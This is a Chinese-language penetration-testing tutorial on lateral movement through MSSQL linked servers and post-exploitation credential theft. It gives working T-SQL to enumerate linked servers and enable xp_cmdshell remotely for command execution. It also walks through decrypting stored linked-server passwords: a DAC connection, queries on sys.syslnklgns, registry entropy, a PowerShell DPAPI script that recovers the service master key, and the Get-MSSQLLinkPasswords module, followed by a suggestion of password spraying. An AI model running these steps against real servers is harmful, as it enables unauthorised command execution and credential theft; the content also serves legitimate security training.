MSSQL 横向移动
1. 链接服务器
链接服务器可以吧server A 链接到 server B,在server A 上远程执行针对 server B 数据库进行查询、链接到远程服务器的时候,需要进行身份验证
有三种方法可以远程执行对 linked servers 查询:
- OPENQUERY :在预定义的链接服务器上执行查询 (返回一个结果集)
- EXECUTE AT :在预定义的链接服务器上执行查询。(返回多个结果集)
- OPENROWSET :连接远程服务器并执行查询 (更加
ad-hoc的方式,需要一个链接字符串参数)
1.1. 枚举
1.1.1. 枚举链接服务器
使用 sp_linkedservers 存储过程可以枚举链接服务器
EXEC sp_linkedservers;
这里有两个服务器 SQL01 (当前连接的服务器),以及 SQL02 (链接到此服务器的远程服务器)
1.1.2. 枚举在服务器上是否映射为sysadmin
如果我们希望在链接服务器上执行命令,那么我们需要拥有足够的权限来启用对应的存储过程
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
1.2. 查询
1.2.1. 使用OPENQUERY 在链接服务器上进行查询
SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');
1.2.2. 使用 EXECUTE AT 执行命令
EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami /priv";') AT SQL02;
MSSQL Server服务正在以默认的NT Service\mssqlserver用户身份运行- 此用户有SeImpersonatePrivilege权限
2. 解密链接服务器密码(后渗透)
当攻陷了一台配置了链接服务器的MSSQL Server实例后,我们可以从中获取到向这些链接服务器进行身份验证的凭据(MSSQL Server身份验证凭据) 我们需要一个 sysadmin角色的登录账户在其服务器上具有 local administrator 权限的账户
但是如果你有本地管理员,而没有sysadmin角色权限, 可以看这里来进行bypass
2.1. 手动解密
2.1.1. 通过DAC使用SSMS进行连接
向链接服务器进行身份验证的数据存储在sys.syslnklgns表中,必须使用 dedicated administrator connection (DAC)才能访问到此表,默认情况下,DAC 只能在本地创建(由远程管理员连接配置选项控制)我们可以通过 DAC 使用 SSMS 进行连接
链接过程:
- 关闭所有已打开的连接
- 从文件菜单中选择
Database Engine Query - 输入
ADMIN:SQL02作为服务器名称 - 输入具有
sysadmin角色的登录凭据。在这种情况下,我们将使用Windows Authentication作为SQL02\Administrator
2.1.2. 查询加密的凭据
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;
存储在 sys.syslnklgns 中的凭据使用服务主密钥进行对称加密,该密钥存储在 sys.key_encryptions 表中,其 key_id 值为 102
SELECT * FROM sys.key_encryptions;
- 这里会发现有两个102的
key_id,他们都是用DPAPI加密的 - 第一个是在当前用户的上下文中加密的
- 第二个是在本地机器的上下文中加密的
2.1.3. 解密服务主密钥
我们可以使用 [System.Security.DataProtection]::Unprotect函数解密服务主密钥,但还需要先获取MSSQL Server 在保护数据时使用的 entropy bytes,我们可以在注册表中获取
PS C:\Users\Administrator> Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"
Entropy : {58, 178, 73, 210...}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
Server\MSSQL16.MSSQLSERVER\Security
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
Server\MSSQL16.MSSQLSERVER
PSChildName : Security
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
然后通过以下脚本解密 Service Master Key ,其中 $encryptedData 被设置为先前查询返回的值
$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');
$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;
Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');
然后可以获取到16进制编码、解密后的服务主密码,我们可以用其来解密之前的凭据。
- MSSQL Server 2012及以后:服务主密钥使用AES加密、长度16字节
- MSSQL Server 2012之前: 服务主密钥使用3DES加密,长度8字节
2.1.4. 解密AES
然后解密AES即可
- Key:服务主密钥
- IV:
ws_user的pwdhash的前 16 个字节(填充后) - Ciphertext :
ws_user的pwdhash的剩余字节
可以使用下面的查询语句直接获取到 IV和密文
SELECT
name,
SUBSTRING(pwdhash, 5, 16) AS 'IV',
SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;
然后可以进行密码喷洒
2.2. 使用Get-MSSQLLinkPassword 脚本解密
https://github.com/NetSPI/Powershell-Modules/blob/master/Get-MSSQLLinkPasswords.psm1
此模块可以简化我们的操作,通过SQL02的本地管理员凭据RDP登录到SQL02
PS C:\Users\Administrator> cd .\Desktop\
PS C:\Users\Administrator\Desktop> Import-Module .\Get-MSSQLLinkPasswords.psm1
PS C:\Users\Administrator\Desktop> Get-MSSQLLinkPasswords
Instance Linkserver User Password
-------- ---------- ---- --------
MSSQLSERVER SQL01 ws_user yjwx****N8mCpB
PS C:\Users\Administrator\Desktop>







